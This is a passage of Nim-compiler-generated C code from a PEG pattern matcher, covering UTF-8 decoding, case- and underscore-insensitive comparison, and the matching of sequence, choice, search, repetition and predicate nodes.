bX60gensym26_ = ((NI32) ((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 15))) << (NU64)(((NI) 12))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63)))));
result += ((NI) 3);
}
goto LA397_;
LA399_: ;
{
bX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA397_: ;
}
goto LA382_;
LA395_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 3))) == ((NU) 30))) goto LA403_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 4)))) goto LA407_;
bX60gensym26_ = ((NI32) ((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 7))) << (NU64)(((NI) 18))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63)))));
result += ((NI) 4);
}
goto LA405_;
LA407_: ;
{
bX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA405_: ;
}
goto LA382_;
LA403_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 2))) == ((NU) 62))) goto LA411_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 5)))) goto LA415_;
bX60gensym26_ = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 3))) << (NU64)(((NI) 24))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63)))));
result += ((NI) 5);
}
goto LA413_;
LA415_: ;
{
bX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA413_: ;
}
goto LA382_;
LA411_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 1))) == ((NU) 126))) goto LA419_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 6)))) goto LA423_;
bX60gensym26_ = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 1))) << (NU64)(((NI) 30))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 24)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 5))])))) & ((NU) 63)))));
result += ((NI) 6);
}
goto LA421_;
LA423_: ;
{
bX60gensym26_ = ((NI32) 65533);
result += ((NI) 1);
}
LA421_: ;
}
goto LA382_;
LA419_: ;
{
bX60gensym26_ = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
LA382_: ;
{
NI32 T429_;
NI32 T430_;
NI32 T431_;
NIM_BOOL T432_;
T429_ = (NI32)0;
T429_ = nuctoLower(aX60gensym26__6);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
T430_ = (NI32)0;
T430_ = T429_;
T431_ = (NI32)0;
T431_ = nuctoLower(bX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
T432_ = (NIM_BOOL)0;
T432_ = eqeq___vKtIOoSlgRq49afS1c8u7zg(T430_, T431_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!!(T432_)) goto LA433_;
result = ((NI) -1);
goto LA331;
}
LA433_: ;
} LA332: ;
} LA331: ;
result -= startX60gensym26_;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
{
NI iX60gensym26__3;
NI32 aX60gensym26__7;
NI32 bX60gensym26__2;
iX60gensym26__3 = ((NI) 0);
aX60gensym26__7 = (NI32)0;
bX60gensym26__2 = (NI32)0;
result = startX60gensym26_;
{
while (1) {
if (!(iX60gensym26__3 < (pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0))) goto LA437;
{
while (1) {
if (!(iX60gensym26__3 < (pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0))) goto LA439;
{
if (!((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3]))))) <= (NU64)(((NU) 127)))) goto LA442_;
aX60gensym26__7 = ((NI32) (((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3]))))));
iX60gensym26__3 += ((NI) 1);
}
goto LA440_;
LA442_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3]))))) >> (NU64)(((NI) 5))) == ((NU) 6))) goto LA445_;
{
if (!(iX60gensym26__3 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 2)))) goto LA449_;
aX60gensym26__7 = ((NI32) ((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3])))) & ((NU) 31))) << (NU64)(((NI) 6))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 1))])))) & ((NU) 63)))));
iX60gensym26__3 += ((NI) 2);
}
goto LA447_;
LA449_: ;
{
aX60gensym26__7 = ((NI32) 65533);
iX60gensym26__3 += ((NI) 1);
}
LA447_: ;
}
goto LA440_;
LA445_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3]))))) >> (NU64)(((NI) 4))) == ((NU) 14))) goto LA453_;
{
if (!(iX60gensym26__3 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 3)))) goto LA457_;
aX60gensym26__7 = ((NI32) ((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3])))) & ((NU) 15))) << (NU64)(((NI) 12))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 2))])))) & ((NU) 63)))));
iX60gensym26__3 += ((NI) 3);
}
goto LA455_;
LA457_: ;
{
aX60gensym26__7 = ((NI32) 65533);
iX60gensym26__3 += ((NI) 1);
}
LA455_: ;
}
goto LA440_;
LA453_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3]))))) >> (NU64)(((NI) 3))) == ((NU) 30))) goto LA461_;
{
if (!(iX60gensym26__3 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 4)))) goto LA465_;
aX60gensym26__7 = ((NI32) ((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3])))) & ((NU) 7))) << (NU64)(((NI) 18))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 3))])))) & ((NU) 63)))));
iX60gensym26__3 += ((NI) 4);
}
goto LA463_;
LA465_: ;
{
aX60gensym26__7 = ((NI32) 65533);
iX60gensym26__3 += ((NI) 1);
}
LA463_: ;
}
goto LA440_;
LA461_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3]))))) >> (NU64)(((NI) 2))) == ((NU) 62))) goto LA469_;
{
if (!(iX60gensym26__3 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 5)))) goto LA473_;
aX60gensym26__7 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3])))) & ((NU) 3))) << (NU64)(((NI) 24))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 4))])))) & ((NU) 63)))));
iX60gensym26__3 += ((NI) 5);
}
goto LA471_;
LA473_: ;
{
aX60gensym26__7 = ((NI32) 65533);
iX60gensym26__3 += ((NI) 1);
}
LA471_: ;
}
goto LA440_;
LA469_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3]))))) >> (NU64)(((NI) 1))) == ((NU) 126))) goto LA477_;
{
if (!(iX60gensym26__3 <= (NI)((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) - ((NI) 6)))) goto LA481_;
aX60gensym26__7 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3])))) & ((NU) 1))) << (NU64)(((NI) 30))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 24)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 4))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(pX60gensym26_.term->data[(NI)(iX60gensym26__3 + ((NI) 5))])))) & ((NU) 63)))));
iX60gensym26__3 += ((NI) 6);
}
goto LA479_;
LA481_: ;
{
aX60gensym26__7 = ((NI32) 65533);
iX60gensym26__3 += ((NI) 1);
}
LA479_: ;
}
goto LA440_;
LA477_: ;
{
aX60gensym26__7 = ((NI32) (((NU) (((NU8)(pX60gensym26_.term->data[iX60gensym26__3]))))));
iX60gensym26__3 += ((NI) 1);
}
LA440_: ;
{
NIM_BOOL T487_;
T487_ = (NIM_BOOL)0;
T487_ = eqeq___vKtIOoSlgRq49afS1c8u7zg(aX60gensym26__7, ((NI32) 95));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!!(T487_)) goto LA488_;
goto LA438;
}
LA488_: ;
} LA439: ;
} LA438: ;
{
while (1) {
if (!(result < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA491;
{
if (!((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) <= (NU64)(((NU) 127)))) goto LA494_;
bX60gensym26__2 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
goto LA492_;
LA494_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 5))) == ((NU) 6))) goto LA497_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 2)))) goto LA501_;
bX60gensym26__2 = ((NI32) ((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 31))) << (NU64)(((NI) 6))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63)))));
result += ((NI) 2);
}
goto LA499_;
LA501_: ;
{
bX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA499_: ;
}
goto LA492_;
LA497_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 4))) == ((NU) 14))) goto LA505_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 3)))) goto LA509_;
bX60gensym26__2 = ((NI32) ((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 15))) << (NU64)(((NI) 12))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63)))));
result += ((NI) 3);
}
goto LA507_;
LA509_: ;
{
bX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA507_: ;
}
goto LA492_;
LA505_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 3))) == ((NU) 30))) goto LA513_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 4)))) goto LA517_;
bX60gensym26__2 = ((NI32) ((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 7))) << (NU64)(((NI) 18))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63)))));
result += ((NI) 4);
}
goto LA515_;
LA517_: ;
{
bX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA515_: ;
}
goto LA492_;
LA513_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 2))) == ((NU) 62))) goto LA521_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 5)))) goto LA525_;
bX60gensym26__2 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 3))) << (NU64)(((NI) 24))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63)))));
result += ((NI) 5);
}
goto LA523_;
LA525_: ;
{
bX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA523_: ;
}
goto LA492_;
LA521_: ;
{
if (!((NU)((NU64)(((NU) (((NU8)(sX60gensym26_->data[result]))))) >> (NU64)(((NI) 1))) == ((NU) 126))) goto LA529_;
{
if (!(result <= (NI)((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) - ((NI) 6)))) goto LA533_;
bX60gensym26__2 = ((NI32) ((NU)((NU)((NU)((NU)((NU)((NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[result])))) & ((NU) 1))) << (NU64)(((NI) 30))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 1))])))) & ((NU) 63))) << (NU64)(((NI) 24)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 2))])))) & ((NU) 63))) << (NU64)(((NI) 18)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 3))])))) & ((NU) 63))) << (NU64)(((NI) 12)))) | (NU)((NU64)((NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 4))])))) & ((NU) 63))) << (NU64)(((NI) 6)))) | (NU)(((NU) (((NU8)(sX60gensym26_->data[(NI)(result + ((NI) 5))])))) & ((NU) 63)))));
result += ((NI) 6);
}
goto LA531_;
LA533_: ;
{
bX60gensym26__2 = ((NI32) 65533);
result += ((NI) 1);
}
LA531_: ;
}
goto LA492_;
LA529_: ;
{
bX60gensym26__2 = ((NI32) (((NU) (((NU8)(sX60gensym26_->data[result]))))));
result += ((NI) 1);
}
LA492_: ;
{
NIM_BOOL T539_;
T539_ = (NIM_BOOL)0;
T539_ = eqeq___vKtIOoSlgRq49afS1c8u7zg(bX60gensym26__2, ((NI32) 95));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!!(T539_)) goto LA540_;
goto LA490;
}
LA540_: ;
} LA491: ;
} LA490: ;
{
if (!((sX60gensym26_ ? sX60gensym26_->Sup.len : 0) <= result)) goto LA544_;
{
if (!((pX60gensym26_.term ? pX60gensym26_.term->Sup.len : 0) <= iX60gensym26__3)) goto LA548_;
goto LA436;
}
goto LA546_;
LA548_: ;
{
result = ((NI) -1);
goto LA436;
}
LA546_: ;
}
goto LA542_;
LA544_: ;
{
NI32 T552_;
NI32 T553_;
NI32 T554_;
NIM_BOOL T555_;
T552_ = (NI32)0;
T552_ = nuctoLower(aX60gensym26__7);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
T553_ = (NI32)0;
T553_ = T552_;
T554_ = (NI32)0;
T554_ = nuctoLower(bX60gensym26__2);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
T555_ = (NIM_BOOL)0;
T555_ = eqeq___vKtIOoSlgRq49afS1c8u7zg(T553_, T554_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!!(T555_)) goto LA556_;
result = ((NI) -1);
goto LA436;
}
goto LA542_;
LA556_: ;
LA542_: ;
} LA437: ;
} LA436: ;
result -= startX60gensym26_;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
{
{
NIM_BOOL T561_;
T561_ = (NIM_BOOL)0;
T561_ = (startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0));
if (!(T561_)) goto LA562_;
T561_ = ((NU8)(pX60gensym26_.ch) == (NU8)(sX60gensym26_->data[startX60gensym26_]));
LA562_: ;
if (!T561_) goto LA563_;
result = ((NI) 1);
}
goto LA559_;
LA563_: ;
{
result = ((NI) -1);
}
LA559_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
{
{
NIM_BOOL T569_;
T569_ = (NIM_BOOL)0;
T569_ = (startX60gensym26_ < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0));
if (!(T569_)) goto LA570_;
T569_ = ((pX60gensym26_.charChoice[(NU)(((NU8)(sX60gensym26_->data[startX60gensym26_])))>>3] &(1U<<((NU)(((NU8)(sX60gensym26_->data[startX60gensym26_])))&7U)))!=0);
LA570_: ;
if (!T569_) goto LA571_;
result = ((NI) 1);
}
goto LA567_;
LA571_: ;
{
result = ((NI) -1);
}
LA567_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
{
NI oldMlX60gensym26_;
oldMlX60gensym26_ = (*cX60gensym26_).ml;
result = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, (*pX60gensym26_.nt).rule, startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(result < ((NI) 0))) goto LA577_;
(*cX60gensym26_).ml = oldMlX60gensym26_;
}
LA577_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 15):
{
NI oldMlX60gensym26__2;
oldMlX60gensym26__2 = (*cX60gensym26_).ml;
result = ((NI) 0);
{
NI iX60gensym26__4;
NI colontmp__2;
NI T581_;
NI res_2;
iX60gensym26__4 = (NI)0;
colontmp__2 = (NI)0;
T581_ = ((pX60gensym26_.sons ? pX60gensym26_.sons->Sup.len : 0)-1);
colontmp__2 = T581_;
res_2 = ((NI) 0);
{
while (1) {
NI xX60gensym26_;
if (!(res_2 <= colontmp__2)) goto LA583;
iX60gensym26__4 = res_2;
xX60gensym26_ = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, pX60gensym26_.sons->data[iX60gensym26__4], (NI)(startX60gensym26_ + result), cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(xX60gensym26_ < ((NI) 0))) goto LA586_;
(*cX60gensym26_).ml = oldMlX60gensym26__2;
result = ((NI) -1);
goto LA580;
}
goto LA584_;
LA586_: ;
{
result += xX60gensym26_;
}
LA584_: ;
res_2 += ((NI) 1);
} LA583: ;
}
} LA580: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 16):
{
NI oldMlX60gensym26__3;
oldMlX60gensym26__3 = (*cX60gensym26_).ml;
{
NI iX60gensym26__5;
NI colontmp__3;
NI T591_;
NI res_3;
iX60gensym26__5 = (NI)0;
colontmp__3 = (NI)0;
T591_ = ((pX60gensym26_.sons ? pX60gensym26_.sons->Sup.len : 0)-1);
colontmp__3 = T591_;
res_3 = ((NI) 0);
{
while (1) {
if (!(res_3 <= colontmp__3)) goto LA593;
iX60gensym26__5 = res_3;
result = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, pX60gensym26_.sons->data[iX60gensym26__5], startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(((NI) 0) <= result)) goto LA596_;
goto LA590;
}
LA596_: ;
(*cX60gensym26_).ml = oldMlX60gensym26__3;
res_3 += ((NI) 1);
} LA593: ;
}
} LA590: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 28):
{
NI oldMlX60gensym26__4;
oldMlX60gensym26__4 = (*cX60gensym26_).ml;
result = ((NI) 0);
{
while (1) {
NI xX60gensym26__2;
if (!((NI)(startX60gensym26_ + result) <= (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA600;
xX60gensym26__2 = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, pX60gensym26_.sons->data[((NI) 0)], (NI)(startX60gensym26_ + result), cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(((NI) 0) <= xX60gensym26__2)) goto LA603_;
result += xX60gensym26__2;
goto BeforeRet_;
}
LA603_: ;
result += ((NI) 1);
} LA600: ;
}
result = ((NI) -1);
(*cX60gensym26_).ml = oldMlX60gensym26__4;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 29):
{
NI idxX60gensym26_;
idxX60gensym26_ = (*cX60gensym26_).ml;
(*cX60gensym26_).ml += ((NI) 1);
result = ((NI) 0);
{
while (1) {
NI xX60gensym26__3;
if (!((NI)(startX60gensym26_ + result) <= (sX60gensym26_ ? sX60gensym26_->Sup.len : 0))) goto LA607;
xX60gensym26__3 = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, pX60gensym26_.sons->data[((NI) 0)], (NI)(startX60gensym26_ + result), cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(((NI) 0) <= xX60gensym26__3)) goto LA610_;
{
NI colontmp__4;
NI colontmp__5;
if (!(idxX60gensym26_ < ((NI) 20))) goto LA614_;
colontmp__4 = startX60gensym26_;
colontmp__5 = (NI)((NI)(startX60gensym26_ + result) - ((NI) 1));
(*cX60gensym26_).matches[(idxX60gensym26_)- 0].Field0 = colontmp__4;
(*cX60gensym26_).matches[(idxX60gensym26_)- 0].Field1 = colontmp__5;
}
LA614_: ;
result += xX60gensym26__3;
goto BeforeRet_;
}
LA610_: ;
result += ((NI) 1);
} LA607: ;
}
result = ((NI) -1);
(*cX60gensym26_).ml = idxX60gensym26_;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 17):
{
result = ((NI) 0);
{
while (1) {
NI xX60gensym26__4;
xX60gensym26__4 = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, pX60gensym26_.sons->data[((NI) 0)], (NI)(startX60gensym26_ + result), cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(xX60gensym26__4 <= ((NI) 0))) goto LA621_;
goto LA617;
}
LA621_: ;
result += xX60gensym26__4;
}
} LA617: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
{
NIM_CHAR chX60gensym26_;
result = ((NI) 0);
chX60gensym26_ = pX60gensym26_.ch;
{
while (1) {
NIM_BOOL T626_;
T626_ = (NIM_BOOL)0;
T626_ = ((NI)(startX60gensym26_ + result) < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0));
if (!(T626_)) goto LA627_;
T626_ = ((NU8)(chX60gensym26_) == (NU8)(sX60gensym26_->data[(NI)(startX60gensym26_ + result)]));
LA627_: ;
if (!T626_) goto LA625;
result += ((NI) 1);
} LA625: ;
}
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
{
result = ((NI) 0);
{
while (1) {
NIM_BOOL T631_;
T631_ = (NIM_BOOL)0;
T631_ = ((NI)(startX60gensym26_ + result) < (sX60gensym26_ ? sX60gensym26_->Sup.len : 0));
if (!(T631_)) goto LA632_;
T631_ = ((pX60gensym26_.charChoice[(NU)(((NU8)(sX60gensym26_->data[(NI)(startX60gensym26_ + result)])))>>3] &(1U<<((NU)(((NU8)(sX60gensym26_->data[(NI)(startX60gensym26_ + result)])))&7U)))!=0);
LA632_: ;
if (!T631_) goto LA630;
result += ((NI) 1);
} LA630: ;
}
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 21):
{
NI T634_;
T634_ = (NI)0;
T634_ = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, pX60gensym26_.sons->data[((NI) 0)], startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
result = ((((NI) 0) >= T634_) ? ((NI) 0) : T634_);
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 22):
{
NI oldMlX60gensym26__5;
oldMlX60gensym26__5 = (*cX60gensym26_).ml;
result = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, pX60gensym26_.sons->data[((NI) 0)], startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(((NI) 0) <= result)) goto LA638_;
result = ((NI) 0);
}
goto LA636_;
LA638_: ;
{
(*cX60gensym26_).ml = oldMlX60gensym26__5;
}
LA636_: ;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 23):
{
NI oldMlX60gensym26__6;
oldMlX60gensym26__6 = (*cX60gensym26_).ml;
result = matchIt__HsNdIDFjzA9cQdbHEL6NSBg(sX60gensym26_, pX60gensym26_.sons->data[((NI) 0)], startX60gensym26_, cX60gensym26_);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(result < ((NI) 0))) goto LA644_;
result = ((NI) 0);
}
goto LA642_;
LA644_: ;
{
